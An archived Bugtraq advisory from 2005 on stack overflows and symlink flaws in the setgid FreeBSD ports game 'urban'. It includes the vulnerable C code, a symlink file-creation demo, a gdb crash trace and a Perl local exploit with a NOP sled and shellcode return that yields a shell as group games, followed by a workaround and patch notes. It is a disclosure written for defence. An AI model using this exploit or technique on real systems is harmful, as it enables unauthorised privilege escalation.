Home page logo

bugtraq logo Bugtraq mailing list archives

Multiple vulnerabilities in FreeBSD 'urban'
From: "Shaun Colley" <shaun () rsc cx>
Date: Sun, 4 Sep 2005 07:39:43 -0700 (PDT)

Multiple vulnerabilities in FreeBSD 'urban'

September 4th, 2005


URBAN is a bloody, violent sidescrolling shoot-em-up in which you're a
renegade military cyborg fighting your way out of the military base
where you were created.

'urban' is maintained and distributed as a FreeBSD ports package, as well
as having its own developer and official tarball release. The FreeBSD
ports package is installed setgid games by default, to allow for global
score files.  Urban is vulnerable to several stack overflow and symlink
vulnerabilities, giving rise to the possibility of privilege escalation to
gid games.

[* urban's official release, available at <https://urban.bengburken.net>,
does *not* install urban with setgid games privileges by default, so only
the FreeBSD ports package is susceptable to the vulnerabilities later
outlined in this advisory *]


Urban is vulnerable to a stack overflow when handling the $HOME
environmental variable.  Since urban is installed with setgid games
privileges, privilege escalation is possible.  The overflow occurs when
urban copies the contents of the user's $HOME environmental variable into
a fixed-length buffer without bounds checking (sprintf is used).

[ ... ]

sprintf(filename, "%s/.urban", getenv("HOME"));

[ ... ]

 sprintf(filename, "%s/.urban/savegame.dat", getenv("HOME"));

[ ... ]

Several other less likely stack overflows may occur, such as in the
copying of the $USER environmental variable in certain circumstances.

[ ... ]

if(getenv("USER") != NULL)
                        strcpy(Name, getenv("USER"));

[ ... ]

Urban is also vulnerable to some less serious symlink bugs, due to the
following of symbolic links when creating certain high score and save game

[ ... ]

           /* Create dir */
                sprintf(filename, "%s/.urban", getenv("HOME"));

[ ... ]

                mkdir(filename, S_IRUSR | S_IWUSR | S_IXUSR);

                sprintf(filename, "%s/.urban/savegame.dat", getenv("HOME"));

                 if((fs = fopen(filename, "wb")) == NULL)

[ ... ]

Since urban has the setgid games privileges, an attacker can craft an
appropriate symbolic link (i.e. ~/.urban/savegame.dat) which can lead to
creation and/or truncation of files with the privileges of gid games. 
This may allow attackers to edit global score files and possibly leverage
further attacks (i.e. exploit symlink bugs in games which require
write-access to /var/games to exploit).

It is worth noting once more that the official tarball of urban does *not*
install urban with setgid games privileges, but the FreeBSD ports version
does (/usr/ports/games/urban).


The symbolic link bug outlined earlier can be exploited by creating a
suitable symbolic link in one's home directory, such as

bash-2.05b# ls -l /var/games/helloworld
ls: /var/games/helloworld: No such file or directory
bash-2.05b# ln -s /var/games/helloworld savegame.dat
bash-2.05b# ls -l
total 0
lrwxr-xr-x  1 root  wheel  21 Sep  4 16:17 savegame.dat ->
bash-2.05b# urban
[ output truncated ]
bash-2.05b# ls -l /var/games/helloworld
-rw-r--r--  1 root  games  0 Sep  4 16:17 /var/games/helloworld

It is possible to write to any file writable by group games.  Such may
allow editing of score files and the possibility of further privilege
escalation (i.e. exploitation of bugs which require access to score file

The stack overflow in handling of the user's $HOME environmental variable
is exploitable as a vanilla buffer overflow.

su-2.05b$ export HOME=`perl -e 'print "a"x2000'`
su-2.05b$ gdb -q urban
(no debugging symbols found)...(gdb) r
Starting program: /usr/X11R6/bin/urban

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1 (LWP 100144)]
0x61616161 in ?? ()

Exploitation is straight forward.

I have written a simple exploit which yields a shell with egid (effective
group id) privileges.

-- urban.pl
# FreeBSD /usr/ports/games/urban local stack overflow exploit
# 'urban' is vulnerable to a stack overflow when handling
# the $HOME environmental variable, thus allowing privilege
# escalation to gid games since 'urban' is setgid 'games'.
# Shellcode and NOPs are placed inside an environmental variable
# ($HACK) and $HOME is crafted such that 'urban' will return into
# the code in $HACK.  The address of $HACK in the environment may
# need some investigating (i.e. using gdb).
# shaun () 213$ id
# uid=1003(shaun) gid=1004(shaun) groups=1004(shaun)
# shaun () 213$ perl urban.pl
# $ id
# uid=1003(shaun) gid=1004(shaun) egid=13(games) groups=13(games),
# $

$ret = 0xbfbfeece; #works on my FreeBSD 5.4-RELEASE system
$nop = "\x90";
$shellcode =

for($i = 0; $i < 100; $i++) {
$buffer .= $nop;
$buffer .= $shellcode;
local($ENV{'HACK'}) = $buffer;

$ret = pack("l", $ret);
local($ENV{'HOME'}) = "a"x1036 . $ret;
exec("urban");  # run vulnerable program
-- urban.pl

Also available at: <http://www.demodulated.net/exploits/urban.pl>

Below shows output of me running the exploit.

su-2.05b$ id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
su-2.05b$ perl urban.pl
$ id
uid=1002(shaun) gid=1002(shaun) egid=13(games) groups=13(games), 1002(shaun)


The latest FreeBSD ports release of urban is vulnerable.

urban 1.5.3_1

Earlier versions are suspected vulnerable.

The latest official release of urban, 1.5.3, contains all the bugs
aforementioned, but does not install urban with setgid games privileges.


Remove setgid games privileges from the urban binary.

bash-2.05b# ls -l `which urban`
-r-xr-sr-x  1 root  games  340224 Sep  4 16:17 /usr/X11R6/bin/urban
bash-2.05b# chmod g-s `which urban`
bash-2.05b# ls -l `which urban`
-r-xr-xr-x  1 root  games  340224 Sep  4 16:17 /usr/X11R6/bin/urban

This will render global scoring unusable unless urban is run as root or
games user.


I submitted information and patches to the FreeBSD ports urban maintainer,
Jean-Yves Lefort, and he reports that the patches have been committed for
later release.  The unified patch file can be obtained from my webspace,

The patch fixes the overflows mentioned earlier, and several other
possible overflows.  Privileges are also dropped at the beginning of
execution and restored when needed.

Thanks to Jean-Yves Lefort for cooperation.

Thank you for your time,

  By Date           By Thread  

Current thread:
  • Multiple vulnerabilities in FreeBSD 'urban' Shaun Colley (Sep 06)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]